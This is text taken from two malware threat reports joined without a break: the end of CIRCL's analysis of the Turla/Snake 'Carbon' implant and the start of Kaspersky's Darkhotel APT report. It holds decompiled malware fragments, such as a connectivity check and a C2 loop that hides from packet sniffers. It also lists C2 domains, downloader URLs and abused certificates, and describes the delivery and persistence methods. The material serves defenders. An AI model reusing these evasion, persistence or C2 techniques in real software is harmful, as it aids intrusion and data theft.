Transport (Type) CIRCL BAE deresz/tecamac tcp (1) x x b2m (1) x np (2) x x enc (2) x reliable (2) x frag x x x m2b (2) x x m2d (2) x t2m (3) x udp (4) x doms (4) x domc (4) x frag.np and frag.tcp replies: SEND AUTH RECV AUTH AUTH FAILED SEND WHO SEND OBJECT_ID frag.np/frag.tcp options: frag_size32768 frag_no_scrambling1 alloweveryone active_con net_user net_password write_peer_nfocsc nodelayN Files from cryptoapi.dll \\.\IdeDrive1\ \\.\IdeDrive1\log.txt \\.\IdeDrive1\.bak \\.\IdeDrive1\Tasks\\task.txt \\.\IdeDrive1\Tasks\\task_system.txt \\.\IdeDrive1\Tasks\\.tmp \\.\IdeDrive1\config.txt \\.\IdeDrive1\restrans.txt \\.\IdeDrive1\Tasks\\ \\.\IdeDrive1\Results\\ \\.\IdeDrive1\logtrans.txt \\.\IdeDrive1\usbdev.bak \\.\IdeDrive1\inetpub.bak \\.\IdeDrive1\inetpub.dll \\.\IdeDrive1\cryptoapi.bak \\.\IdeDrive1\cryptoapi.dll \\.\IdeDrive1\Plugins\\ Pipes from cryptoapi.dll \\\\.\\Global\\PIPE\\comnode \\\\s\\pipe\\comnode \\\\s\\pipe\\s Custom error codes, shared in sample B, C and D (E and F to be check) CUSTOM_ERROR_01   21590001h CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 28 of 34 12/31/2014 09:19 AM CUSTOM_ERROR_02   21590002h             WAIT_TIMEOUT?
CUSTOM_ERROR_03   21590003h             BROKEN_PIPE?
CUSTOM_ERROR_04   21590004h CUSTOM_ERROR_05   21590005h CUSTOM_ERROR_06   21590006h CUSTOM_ERROR_07   21590007h CUSTOM_ERROR_08   21590008h CUSTOM_ERROR_09   21590009h CUSTOM_ERROR_0A   2159000Ah CUSTOM_ERROR_0B   2159000Bh             INVALID_USER_BUFFER?
CUSTOM_ERROR_0D   2159000Dh CUSTOM_ERROR_64   21590064h CUSTOM_ERROR_65   21590065h CUSTOM_ERROR_66   21590066h CUSTOM_ERROR_67   21590067h CUSTOM_ERROR_68   21590068h CUSTOM_ERROR_69   21590069h CUSTOM_ERROR_C9   215900C9h             NO_VALID_ADDR?
CUSTOM_ERROR_CA   215900CAh             NO_VALID_PORT?
CUSTOM_ERROR_CB   215900CBh CUSTOM_ERROR_CC   215900CCh Sample C - inetpub.dll (Resource: 102) Original filename: CARBON.dll Internal name: Carbon v3.51 Files from inetpub.dll \\.\IdeDrive1\config.txt \\.\IdeDrive1\Tasks\\task.txt \\.\IdeDrive1\Tasks\\task_system.txt \\.\IdeDrive1\log.txt \\.\IdeDrive1\Results\result.txt Mutexes from inetpub.dll Global\\MSMMC.StartupEnvironment.
PPT Global\\411A5195CD73A8a710E4BB16842FA42C Global\\881F0621AC59C4c035A5DC92158AB85E Global\\MSCTF.Shared.
MUTEX.RPM Global\\WindowsShellHWDetection Global\\MSDBG.Global.
MUTEX.ATF thread 2: In a 10 minutes loop check server availability by doing a HTTP POST (HTTP/1.0) to a server/port configured in \\.\IdeDrive1\config.txt in CW_INET section address with user agent Mozilla/4.0 (compatible MSIE 6.0) but only if a valid internet connection was successfully probed: 1char isInternetConnectionWorking() 2 3  char result 4  HINTERNET hInternetOpen 5 6  result  0 7  if ( InternetAttemptConnect(0) ) 8 9    result  0 10 11  else 12 13    hInternetOpen  InternetOpenA(Mozilla/4.0 (compatible MSIE 6.0), 0, 0, 0, 0) 14    if ( hInternetOpen ) 15 16      if ( HttpConnect(hInternetOpen, update.microsoft.com) 17         HttpConnect(hInternetOpen, windowsupdate.microsoft.com) CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 29 of 34 12/31/2014 09:19 AM 18         HttpConnect(hInternetOpen, 207.46.18.94) 19         HttpConnect(hInternetOpen, 207.46.253.125) 20         HttpConnect(hInternetOpen, microsoft.com) 21         HttpConnect(hInternetOpen, 207.46.250.119) 22         HttpConnect(hInternetOpen, 207.46.249.56) 23         HttpConnect(hInternetOpen, 207.46.249.57) ) 24        result  1 25      InternetCloseHandle(hInternetOpen) 26 27    else 28 29      result  0 30 31 32  return result 33 thread 3: The actions described below are only taken if the following programs are not running tcpdump.exe windump.exe ethereal.exe wireshark.exe ettercap.exe snoop.exe The following is the main (endless) loop of this thread: 1LOOP: 2    if ( do_HTTP_GET(hInternetConnect, base_string) ) 3 4      while ( isCapturingPackets()  1 ) 5        Sleep(0xEA60u) 6      while ( sub_20009871(hInternetConnect, ::Dest, lpszServerName, base_string) ) 7 8      while ( sub_200075C0(hInternetConnect, ::Dest, lpszServerName, base_string) ) 9        Sleep(0x3E8u) 10      goto LOOP 11 It starts in do_HTTP_GET() with a HTTP GET (HTTP/1.1) to server/port taken from \\.\IdeDrive1\config.txt in CW_INET section address with user agent Mozilla/4.0 (compatible MSIE 6.0) with script name and query as follows: auth.cgi?modequeryidu:u:u:uservslangenqu-udates where the format strings are filled in accordingly.
serv is filled pseudorandomly with a host from the following list: www.yahoo.com www.bbc.com www.astalavista.com www.google.com www.eagames.com www.asus.com www.microsoft.com windowsupdate.microsoft.com search.microsoft.com www.hp.com www.altavista.com www.3com.com CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 30 of 34 12/31/2014 09:19 AM www.dell.com www.sun.com www.easports.com search.google.com perhaps to make a reasonable appearance or to mislead log analysts who filter out common domain names.
When a successful handle is returned, a file is being downloaded and stored in the virtual file system.
What follows is a GET in HTTP/1.0 on default.asp?actuiduitemuevent_iduclnufltuservstldmodequerylangendates This code is part of sub_20009871, which continues to serve the frag.np/frag.tcp part.
In sub_200075C0 another POST in HTTP/1.0 to default.asp?actuiduitemuevent_iduclnufltuservstldmodequerylangendates follows.
The purpose of the two functions is not clear, yet.
load_transports() In this module, the following transport or communication modules are present: Type 1: tcp, b2m Type 2: np, frag, m2b This corresponds to the transports found in Sample D. 3rd party code bzip2/libbzip2 The compiled code of bzip2/libbzip2, a program and library for lossless block-sorting data compression, was identified, coming from http://svn.apache.org/repos/asf/labs/axmake/trunk/src/libuc/srclib/bzip2/compress.c.
bzip2/libbzip2 version 1.0.5 of 10 December 2007 Copyright (C) 1996-2007 Julian Seward jsewardbzip.org Using the source code without including the authors Copyright statement, the conditions and the disclaimer is an infringement of the software license: http://svn.apache.org/repos/asf/labs/axmake/trunk/src/libuc/srclib/bzip2/LICENSE Other analysis Analysis of check-in messages Check-in messages of Sample C and D (unique) Id: b2_to_m2_stub.c 5273 2007-01-23 17:41:15Z vlad Id: b_tcp.c 8474 2007-09-19 15:40:39Z vlad Id: hide_module_win32.c 10189 2008-11-25 14:25:41Z gilg Id: l1_check.c 4477 2006-08-28 15:58:21Z vlad Id: load_lib_win32.c 10180 2008-11-20 12:13:01Z gilg Id: m2_to_b2_stub.c 4477 2006-08-28 15:58:21Z vlad Id: m_frag.c 8715 2007-11-29 16:04:46Z urik Id: m_np.c 8825 2008-01-10 13:13:15Z vlad Id: mutex.c 3940 2006-03-20 16:47:16Z vlad Id: np_win32_common.c 4483 2006-08-30 13:13:51Z vlad Id: rw_lock.c 4482 2006-08-30 13:07:14Z vlad Id: t_byte1.c 5324 2007-01-30 12:45:35Z vlad Id: t_manager.c 8715 2007-11-29 16:04:46Z urik CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 31 of 34 12/31/2014 09:19 AM Id: t_message1.c 5290 2007-01-26 11:15:03Z vlad Id: t_status.c 5666 2007-03-19 16:18:00Z vlad Id: t_utils.c 5503 2007-02-26 13:14:30Z vlad Id: thread.c 4593 2006-10-12 11:43:29Z urik Developers Sample C and D contain author names of three people: vlad gilg urik Newer samples, for instance the one from BAE, contain only two: vlad gilg Check-in period First check-in: 2006-03-20 Last check-in: 2008-11-25 Check-in dates When incorporating the check-in dates of the BAE sample, the following graph shows that someone checked-in a file once during a Saturday.
CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 32 of 34 12/31/2014 09:19 AM Language deficits A small collection of strings demonstrates the language deficits, mainly distinguishable as: Use of backticks instead of apostrophes by some of the developers Problems using past tense by some developers Spelling Mistranslated terms Oversights Examples: win32 detect... x64 detect... CretaFileA(s): Cant open SERVICES key error has been suddenly occured timeout condition has been occured inside call of function OPERSurvive me, im close to death... free space less than 5...\n OPERSniffer s running... ooopppsss...\n Task not execute.
Arg file failed.
Update failed ((  Cant create file.
cant get characs.\n Internal command not support ((\n L-1cant get characs s\n Recommendations CIRCL recommends to review the IOCs of this report and compare them with servers in the infrastructure of your organization which produce log files including proxies, A/V and system logs.
As this family of malware might be difficult to detect from a network perspective, we recommend to perform check of the indicators at the system level.
Classification of this document TLP:WHITE information may be distributed without restriction, subject to copyright controls.
Revision Version 0.9 July 10, 2014 work-in-progress (not a final release) (TLP:WHITE) CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 33 of 34 12/31/2014 09:19 AM References http://info.baesystemsdetica.com/rs/baesystems/images/snake_whitepaper.pdf 1.
http://artemonsecurity.com/uroburos.pdf  22.
http://blogs.avg.com/news-threats/turla-rootkit-analysed/ 3.
http://www.symantec.com/security_response/writeup.jsp?docid2009-110919-1741-99tabid2 4.
http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html 5.
http://udis86.sourceforge.net 6.
http://msdn.microsoft.com/en-us/library/windows/desktop/ms684914(vvs.85).aspx 7.
http://support.microsoft.com/kb/Q270715 8.
About CIRCL Mission News RFC2350 Team Members Contact Services, Projects and Software Services Dynamic Malware Analysis Platform Malware Information Sharing Platform Projects Software Publications and Presentations Publications Presentations Public services BGP Ranking Common vulnerability exposure PGP key server Map of attacks against Luxembourg Free software CIRCL is the national CERT/CSIRT (Computer Emergency Response Team/Computer Security Incident Response Team) for Luxembourg.
Content from this website is classified as TLP:WHITE information may be distributed without restriction, subject to copyright controls.
Copyright 2008 - 2014 CIRCL Computer Incident Response Center Luxembourg (smile gie), national CERT.
PGP signature of this page and How to Verify Integrity of CIRCL Web Pages CIRCL  TR-25 Analysis - Turla / Pfinet / Snake/ ... http://www.circl.lu/pub/tr-25/ 34 of 34 12/31/2014 09:19 AM
Global Research and Analysis Team Version 1.0 November, 2014 The DarkhoTel aPT A SToRy of UNUSUAl HoSpiTAliTy 2 TLP: Green For any inquiries, please contact intelreportskaspersky.com Contents Executive Summary ................................................................................................3 introduction ............................................................................................................4 Analysis ...................................................................................................................5 Delivery - Hotels/Business Centers and indiscriminate Spread ....................5 Hotels and Business Centers Spread ........................................................5 Abusing Network infrastructure ..................................................................6 indiscriminate Spread .................................................................................7 Darkhotel Spear-phishing Campaigns .......................................................8 Recent 0-day Deployment ..........................................................................9 Digital Certificates and Delegitimizing Certificate Authority Trust ..................9 Cracking the keys ..................................................................................... 12 other Tapaoux Certificates ....................................................................... 12 Enhanced Keyloggers and Development ..................................................... 13 Keylogger Code ......................................................................................... 13 interesting Malware Components ...................................................................... 15 Small Downloader.......................................................................................... 15 information Stealer ........................................................................................ 16 Trojan.
Win32.Karba.e .................................................................................... 17 Trojan-Dropper  injector (infected legitimate files) .................................... 17 Selective infector ........................................................................................... 18 Campaign Codes ............................................................................................ 18 infrastructure and Victims .................................................................................. 19 Sinkhole Domains .......................................................................................... 19 Victim locations - KSN and Sinkhole Data ................................................... 20 KSN Data .................................................................................................. 20 Sinkhole Data ........................................................................................... 22 Available ddrlog Victim Data .......................................................................... 22 C2 Communications and Structure .............................................................. 24 Victim Management ....................................................................................... 25 Researcher Activity ................................................................................... 26 Conclusions ......................................................................................................... 27 mailto:intelreports40kaspersky.com?subject 3 TLP: Green For any inquiries, please contact intelreportskaspersky.com Executive Summary The Darkhotel ApT is a threat actor possessing a seemingly inconsistent and con- tradictory set of characteristics, some advanced and some fairly rudimentary.
in- hospitably operating for almost a decade, the threat actor is currently active.
The actors offensive activity can be tied to specific hotel and business center Wi-fi and physical connections, some of it is also tied to p2p/file sharing networks, and they have been known to spear-phish targets as well.
Darkhotel tools are detected as Tapaoux, pioneer, Karba, and Nemim, among other names.
The following list presents a set of characteristics for the crew: operational competence to compromise, mis-use, and maintain access to global scale,  trusted commercial network resources with strategic precision for years advanced mathematical and crypto-analytical offensive capabilities, along with no regard for undermining the trust extended to the Certificate Authorities and the pKi indiscriminately infect systems with some regional clarity over trusted and untrusted resources to build and operate large botnets well-developed low level keyloggers within an effective and consistent toolset a focus throughout campaigns on specific victim categories and tagging them a larger, dynamic infrastructure built of apache webservers, dynamic dns records, crypto libraries, and php webapps regular 0-day access - recent deployment of an embedded Adobe flash 0-day spear-phishing exploit, and infrequent deployment of other 0-day resources to sustain larger campaigns over several years mailto:intelreports40kaspersky.com?subject 4 TLP: Green For any inquiries, please contact intelreportskaspersky.com introduction When unsuspecting guests, including situationally aware corporate executives and high-tech entrepreneurs, travel to a variety of hotels and connect to the internet, they are infected with a rare ApT Trojan posing as any one of several major software releases.
These might be GoogleToolbar, Adobe flash, Windows Messenger, etc.
This first stage of malware helps the attackers to identify more significant victims, leading to the selective download of more advanced stealing tools.
At the hotels, these installs are selectively distributed to targeted individuals.
This group of attackers seems to know in advance when these individuals will arrive and depart from their high-end hotels.
So, the attackers lay in wait until these travelers arrive and connect to the internet.
The fBi issued advisories about similar hotel incidents Australian government offi- cials produced similar, newsworthy accounts when they were infected.
While an fBi announcement related to attacks on hotel guests overseas appeared in May 2012, related Darkhotel samples were already circulating back in 2007.
And available Darkhotel server log data records connections as early as Jan 1, 2009.
Addition- ally, seeding p2p networks with widely spread malware and 0-day spear-phishing attacks demonstrate that the Darkhotel ApT maintains an effective toolset and a long-running operation behind the questionable hospitality it shows its guests.
5 TLP: Green For any inquiries, please contact intelreportskaspersky.com Analysis Delivery - Hotels/Business Centers and indiscriminate Spread Hotels and Business Centers Spread The Darkhotel ApTs precise malware spread was observed in several hotels networks, where visitors connecting to the hotels Wi-fi were prompted to install software updates to popular software packages.
of course, these packages were really installers for Darkhotel ApTs backdoors, added to legitimate installers from Adobe and Google.
Digitally signed Darkhotel backdoors were installed alongside the legitimate packages.
The most interesting thing about this delivery method is that the hotels require guests to use their last name and room number to login, yet only a few guests received the Darkhotel package.
When visiting the same hotels, our honeypot research systems couldnt attract a Darkhotel attack.
This data is inconclusive, but it points to misuse of check-in information.
6 TLP: Green For any inquiries, please contact intelreportskaspersky.com Abusing Network infrastructure The Darkhotel actor maintained an effective intrusion set at hotel networks, providing ample access to unexpected points of attack over several years.
These staging points also provide the attackers with access to check-in/check-out and identity information of visitors to high-end and luxury hotels.
As a part of an ongoing investigation, our research led us to embedded iframes within hotel networks that redirected individuals web browsers to phony install- ers.
The attackers were very careful with the placement of these iframes and executables on trusted resources - the hotels network login portals themselves.
The attackers were also very careful to immediately delete all traces of their tools as soon as an attack was carried out successfully.
Those portals are now reviewed, cleaned and undergoing a further review and hardening process.
We observed traces of a couple of these incidents in late 2013 and early 2014 on a victim hotels network.
The attackers set up the environment and hit their individual targets with precision.
As soon as their targets stay was over and the attack-frame was closed, the attackers deleted their iframe placement and backdoored executables from the hotel network.
The attackers successfully de- leted traces of their work from earlier attacks in another hotel, but their offensive techniques were the same.
outside reports of the same activity at other hotels provide enough data to confirm the same careful operations there.
The attack technique blurs the line between a couple of common ApT tactics fairly inaccurate watering holes or strategic web compromises and more accurate spearphishing techniques.
in this case, the Darkhotel attackers wait for their victim to connect to the internet over the hotel Wi-fi or the cable in their room.
There is a very strong likelihood the targets will connect over these resourc- es, and the attackers rely on that likelihood, much like at a watering hole.
But the attackers also maintain truly precise targeting information over the victims visit, much like they would know a victims email address and content interests in a spearphishing attack.
While setting up the attack, the Darkhotel attackers knew the targets expected arrival and departure times, room number, and full name, among other data.
This data enables the attackers to present the malicious iframe precisely to that individual target.
So, here we have yet another unique characteristic of this attacker - they employ a loosely certain but highly precise offensive approach.
7 TLP: Green For any inquiries, please contact intelreportskaspersky.com indiscriminate Spread An example of the Darkhotel ApTs indiscriminate malware spreading is dem- onstrated by the way it seeds Japanese p2p sharing sites, where the malware is delivered as a part of a large (approximately 900mb) rar archive.
The archive is also spread over bittorrent, as detailed below.
Darkhotel uses this method to distribute their Karba Trojan.
These Japanese archives, translated for Chinese speaking viewers, appear to be sexual in nature, part of an anime sex/military comic scene, exposing the likely interests of potential targets.
This Darkhotel package was downloaded over 30,000 times in less than six months.
The p2p bittorrent Darkhotel offering is listed here, posted on 2013.11.22.
it was spread throughout 2014.
() []
01 09.rar This torrent serves up an almost 900 mb file.
The rar archive decompresses to adirectory full of encrypted zips, the associated decryptor and a password file for decrypting the zips.
But what looks like the AxDecrypt.exe decryptor is bound to both the true decryptor and the dropper for the Darkhotel Catch.exe Karba Trojan.
When a user downloads the torrent and decrypts the zip files, the trojan surrepti- tiously is installed and run on the victim system.
Catch.exe, detected as Backdoor.
Win32.Agent.dgrn, communicates with the fol- lowing Darkhotel command and control servers: microdelta.crabdance.com microyours.ignorelist.com micronames.jumpingcrab.com microchisk.mooo.com microalba.serveftp.com 8 TLP: Green For any inquiries, please contact intelreportskaspersky.com other examples of this Darkhotel backdoor bound within a shared torrent include adult content Japanese anime and more.
There are tens of thousands of down- loads of these individual torrents.
torrent\[hgd][]comic17[5.08g][ ][]\\(comic17) [ (, )]   shinogi  () [] and \[hgd][]comic17[5.08g][][ ]\) The associated Darkhotel backdoor was hosted on bittorrent, emule, etc, under a variety of comic names.
Examples include comics and anime offerings.
Related Darkhotel command and control server domains include: microblo5.mooo.com microyours.ignorelist.com micronames.jumpingcrab.com microchisk.mooo.com microalba.serveftp.com Darkhotel Spear-phishing Campaigns Darkhotel campaigns involving typical spear-phished Tapaoux implants publicly appeared in bits and pieces several times over the past five years.
These subproject efforts targeted defense industrial base (DiB), government, and NGo organizations.
Email content on topics like nuclear energy and weaponry capabilities was used as a lure.
Early accounts were posted on contagio describing attacks onNGo organi- zations and government policy makers.
This spear-phishing activity continues into 2014.
The attacks follow the typical spear-phishing process and in the past couple of months, exploited systems retrieved downloader executables from web servers like hxxp://office revision.com/update/files22/update.exe or hxxp://trade inf.com/mt/ duspr.exe over the past few years the group has emailed links that redirect targets brows- ers to internet Explorer 0-day exploits.
Sometimes the attachment itself includes an Adobe 0-day exploit.
http://contagiodump.blogspot.com/2010/04/apr-23-link-hta-w-trojanwin32tapaouxa.html 9 TLP: Green For any inquiries, please contact intelreportskaspersky.com Recent 0-day Deployment This crew occasionally deploys 0-day exploits, but burns them when required.
in the past few years, they deployed 0-day spear-phishing attacks targeting Adobe products and Microsoft internet Explorer, including cve 2010 0188.
in early 2014, our researchers exposed their use of cve 2014 0497, a flash 0-day described on Securelist in early february.
The crew spear-phished a set of target systems connected to the internet through Chinese iSps, and developed capabilities within the 0-day exploits to handle hardened Windows 8.1 systems.
its interesting that the flash objects were embedded in Korean documents titled list of the latest Japanese AV wind and how to use torrents.docx (loose English translation).
The dropped downloader (d8137ded710d83e2339a97ee78494c34) delivered malcode similar to the information Stealer component functionality summarized below, and detailed in Appendix D. Digital Certificates and Delegitimizing Certificate Authority Trust The Darkhotel actors typically sign their backdoors with digital certificates of one kind or another.
However, the certificates originally chosen by this crew are very interesting because of their weak keys and likely abuse by attackers.
Here is a listing of the certs that were commonly used to sign Darkhotel malcode, requiring advanced mathematical capabilities to factorize the keys at the time.
They are not the only certificates used by the group.
More recent activity suggests that the group has stolen certificates to sign their code.
Ca root Subordinate Ca/Issuer owner Status Valid From Valid To GTE CyberTrust Digisign Server iD (Enrich) flexicorp.jaring.my sha1/ RSA (512 bits) Expired 12/17/2008 12/17/2010 GTE CyberTrust Cybertrust SureServer CA inpack.syniverse.my sha1/RSA (512 bits) Revoked 2/13/2009 2/13/2011 GTE CyberTrust Cybertrust SureServer CA inpack.syniverse.com sha1/RSA (512 bits) Revoked 2/13/2009 2/13/2011 GTE CyberTrust Anthem inc Certificate Auth ahi.anthem.com sha1/ RSA (512 bits) invalid Sig.
1/13/2010 1/13/2011 http://securelist.com/blog/incidents/58244/cve-2014-0497-a-0-day-vulnerability/ 10 TLP: Green For any inquiries, please contact intelreportskaspersky.com Ca root Subordinate Ca/Issuer owner Status Valid From Valid To GlobalSign Deutsche Telekom CA 5 www.kuechentraum2 4.de sha1/RSA (512 bits) Revoked 10/20/2008 10/25/2009 GTE CyberTrust Digisign Server iD (Enrich) payments.bnm.gov.m y sha1/RSA (512 bits) invalid Sig.
12/7/2009 12/7/2010 GTE CyberTrust TaiCA Secure CA esupplychain.com.tw sha1/RSA (512 bits) Expired 7/2/2010 7/17/2011 GTE CyberTrust Digisign Server iD (Enrich) mcrs2.digicert.com.
my sha1/RSA (512 bits) invalid Sig 3/28/2010 3/28/2012 GTE CyberTrust Cybertrust SureServer CA agreement.syniverse.
com sha1/RSA (512 bits) invalid Sig 2/13/2009 2/13/2011 GTE CyberTrust Cybertrust SureServer CA ambermms.syniverse.
com sha1/RSA (512 bits) invalid Sig.
2/16/2009 2/16/2011 Equifax Secure eBusiness CA 1 Equifax Secure eBusiness CA 1 secure.hotelreykjavik.i s md5/RSA (512 bits) invalid Sig 2/27/2005 3/30/2007 GTE CyberTrust Cybertrust Educational CA stfmail.ccn.ac.uk sha1/ RSA (512 bits) invalid Sig.
11/12/2008 11/12/2011 GTE CyberTrust Digisign Server iD (Enrich) webmail.jaring.my sha1/ RSA (512 bits) invalid Sig 6/1/2009 6/1/2011 GTE CyberTrust Cybertrust Educational CA skillsforge.londonmet.
ac.uk sha1/RSA (512 bits) invalid Sig 1/16/2009 1/16/2012 GTE CyberTrust Digisign Server iD (Enrich) anjungnet.mardi.gov.
my sha1/RSA (512 bits) invalid Sig 9/29/2009 9/29/2011 GTE CyberTrust Anthem inc Certificate Authority dl ait middlewarean them.com sha1/RSA (512 bits) invalid Sig 4/22/2009 4/22/2010 GTE CyberTrust Cybertrust Educational CA ad idmapp.cityofbrist ol.ac.uk sha1/RSA (512 bits) invalid Sig 9/11/2008 9/11/2011 Verisign Verisign Class 3 Secure ofX CA G3 secure2.eecu.com sha1/ RSA (512 bits) invalid Sig 10/25/2009 10/26/2010 Root Agency Root Agency Microsoft md5/RSA (1024 bits) invalid Sig 6/9/2009 12/31/2039 11 TLP: Green For any inquiries, please contact intelreportskaspersky.com Ca root Subordinate Ca/Issuer owner Status Valid From Valid To GTE Cybertrust CyberTrust SureServer CA trainingforms.syniverse.
com sha1/RSA (512 bits) invalid Sig 2/17/2009 2/17/2011 All related cases of signed Darkhotel malware share the same Root Certificate Authority and intermediate Certificate Authority that issued certificates with weak md5 keys (RSA 512 bits).
We are confident that our Darkhotel threat actor fraudulently duplicated these certificates to sign its malware.
These keys were not stolen.
Many of the certificates were noted in a 2011 fox iT post RSA 512 Certificates Abused in the Wild.
To further support this speculation please note the non specific Microsoft Security Advisory below, the Mozilla advisory addressing the issue at the time, and the Entrust responses.
from Microsofts security advisory from Thursday, November 10, 2011: Microsoft is aware that DigiCert Sdn.
Bhd, a Malaysian subordinate certifica- tion authority (CA) under Entrust and GTE CyberTrust, has issued 22 certifi- cates with weak 512 bit keys.
These weak encryption keys, when broken, could allow an attacker to use the certificates fraudulently to spoof content, perform phishing attacks, or perform man in the middle attacks against all Web browser users including users of internet Explorer.
While this is not a vulnerability in a Microsoft product, this issue affects all supported releases of Microsoft Windows.
There is no indication that any certificates were issued fraudulently.
Instead, cryptographically weak keys have allowed some of the certificates to be dupli- cated and used in a fraudulent manner.
Microsoft is providing an update for all supported releases of Microsoft Windows that revokes the trust in DigiCert Sdn.
Bhd.
The update revokes the trust of the following two intermediate CA certificates: Digisign Server iD  (Enrich), issued by Entrust.net Certification Authority (2048) Digisign Server ID (Enrich), issued by GTE CyberTrust Global Root from Mozillas 2011 response: While there is no indication they were issued fraudulently, the weak keys have allowed the certificates to be compromised.
furthermore, certificates from this CA contain several technical issues.
They lack an EKU extension specifying their intended usage and they have been issued without revocation information.
http://blog.fox-it.com/2011/11/21/rsa-512-certificates-abused-in-the-wild/ http://blog.fox-it.com/2011/11/21/rsa-512-certificates-abused-in-the-wild/ http://technet.microsoft.com/enus/security/advisory/2641690 https://blog.mozilla.org/security/2011/11/03/revoking-trust-in-digicert-sdn-bhd-intermediate-certificate-authority/ 12 TLP: Green For any inquiries, please contact intelreportskaspersky.com from Entrusts response: There is no evidence that the Digicert Malaysia certificate authorities have been compromised.
Cracking the keys Here are some notes on the costs and technical requirements of attacking these certificates.
The computing power required to crack and factor an RSA 512 bit key was 5000 and the period of time required was about 2 weeks.
(
see http://lukenotricks.
blogspot.co.at/2010/03/rsa 512 factoring service two weeks.html) in october 2012, Tom Ritter reported that it would cost about 120 -150, per- haps even as little as 75.
Going even further back, there was much discussion about the technical meth- ods of cracking these keys: DJ Bernsteins 2001 paper on building a machine reducing the cost of integer factorization with Number field Sieve techniques, breaking 1024 bit RSA keys.
RSAs reaction and 2002 statement on whether or not 1024 bit RSA keys are broken: NiST offered a table of proposed key sizes for discussion at its key man- agement workshop in November 2001 [7].
for data that needs to be protected no later than the year 2015, the table indicates that the RSA key size should be at least 1024 bits.
for data that needs to be protected longer, the key size should be at least 2048 bits.
other Tapaoux Certificates Recent Tapaoux attacks and backdoors include malware signed with strong SHA1/RSA 2048 bit certificates, suggesting certificate theft.
Ca root Subordinate Ca/Issuer owner Status Valid From Valid To thawte thawte primary Root CA Xuchang Hongguang Technology Co.,ltd.
sha1/RSA (2048bits) Revoked 7/18/2013 7/16/2014 thawte thawte primary Root CA Ningbo Gaoxinqu zhidian Electric power Technology Co., ltd.
sha1/RSA (2048bits) Revoked 11/5/2013 11/5/2014 http://www.entrust.net/advisories/malaysia.htm http://lukenotricks.blogspot.co.at/2010/03/rsa-512-factoring-service-two-weeks.html http://lukenotricks.blogspot.co.at/2010/03/rsa-512-factoring-service-two-weeks.html https://twitter.com/TomRittervg/status/263652369257070593 http://cr.yp.to/papers/nfscircuit.pdf http://www.emc.com/emc-plus/rsa-labs/historical/has-the-rsa-algorithm-been-compromised.htm 13 TLP: Green For any inquiries, please contact intelreportskaspersky.com Enhanced Keyloggers and Development one of the most interesting components that we discovered as a part of this cam- paign was the use of a digitally signed advanced keylogger.
it is clean, well written, kernel level malcode.
The languages of its strings are a mix of English and Korean.
it is signed with the familiar belinda.jablonskisyniverse.com digital certificate.
This keylogger is dropped by code running within svchost.exe on WinXp Sp3, which maintains an interesting debug string: d:\KerKey\KerKey()\KerKey\release\KerKey.pdb Note  means General in Korean it probably was developed as a part of a mid-to-late 2009 project: e:\project\2009\x\total_source\32bit\ndiskpro\src\ioman.c Keylogger Code This driver package is built to resemble a legitimate low-level Microsoft system device.
it is installed as a system kernel driver Ndiskpro service, described as a Microcode Update Device.
it is slightly surprising that no rootkit functionality hides this service: When loaded, the NDiSKpRo.
SyS driver hooks both iNT 0x01 and iNT 0xff, and retrieves keystroke data directly from port 0x60, the motherboard keyboard con- troller itself.
it buffers, then communicates logged user data to the running user mode component.
This component then encrypts and writes the retrieved values ondisk to a randomly named .tmp, file like ffffz07131101.tmp.
This file is located in the same directory as the original dropper, which maintains persistence across reboots with a simple addition to the HKCU run key.
mailto:belinda.jablonskisyniverse.com 14 TLP: Green For any inquiries, please contact intelreportskaspersky.com This keylogger module encrypts and stores gathered data in a log file, as men- tioned previously.
its encryption algorithm is similar to RC4.
The interesting part is that the module randomly generates the key and stores it in an unexpected place: in the middle of the log file name.
Hence, the numeric part of the filename is used as a seed for the pseudorandom number generator.
The rand function is statically linked to ensure same results on different computers.
15 TLP: Green For any inquiries, please contact intelreportskaspersky.com interesting Malware Components The Darkhotel toolset consists of multiple components that have been slightly modified over time.
These tools are dropped by hotel installers spoofing legiti- mate software installers, bound within torrent bundles, or dropped by exploits or hypertext linked from spear-phishing emails.
More advanced tools, like the keylogger decribed above, are later downloaded to the victim system by one of these implants.
in a recent case, word docs embed- ded with 0-day flash swf files either dropped these backdoors or downloaded and executed backdoors from remote web servers.
These tools pull down the keylog- ger, steal information from the system, or download other tools.
small downloader information stealer Trojan dropper and selfi njector selective infector The most interesting behaviors of these components include highly unusual conditional 180 day command and control communications delay self kill routines when the system default codepage is set to Korean enhanced Microsoft intelliform authentication theft handling infostealer module internet Explorer, firefox, and Chrome support campaign or stage iD maintenance virtual machine execution sensitivity selective viral infection routines to focus the spread of malware within organi- zations signed malcode (previously noted) Small Downloader This module is quite small (27Kb) and comes as a part of WinRar SfX file that drops and starts the module from AppDATA\Microsoft\Crypto\DES64v7\msieckc.exe.
This module is designed to update malicious components through recurring checks at the CC server.
it is also capable of removing some older components, the names of which are hardcoded in the body of the malware.
The module adds autorun registry settings to enable an automatic start during system boot.
16 TLP: Green For any inquiries, please contact intelreportskaspersky.com one of the most interesting functions of this executable is its unusual delay and persistence.
if a special file exists on the system, the module will not start calling back to CC server until the special file is 180 days old.
So, if some other critical malicious component was removed during this period, current module backs up and restores access to the system within 6 months.
The component gathers system information and sends it to the Darkhotel com- mand and control servers as detailed in Appendix D. information Stealer This module is relatively large (455Kb) and comes as a part of a WinRar SfX file that drops and starts the module from AppDATA\Microsoft\Display\DmaUp3.
exe.
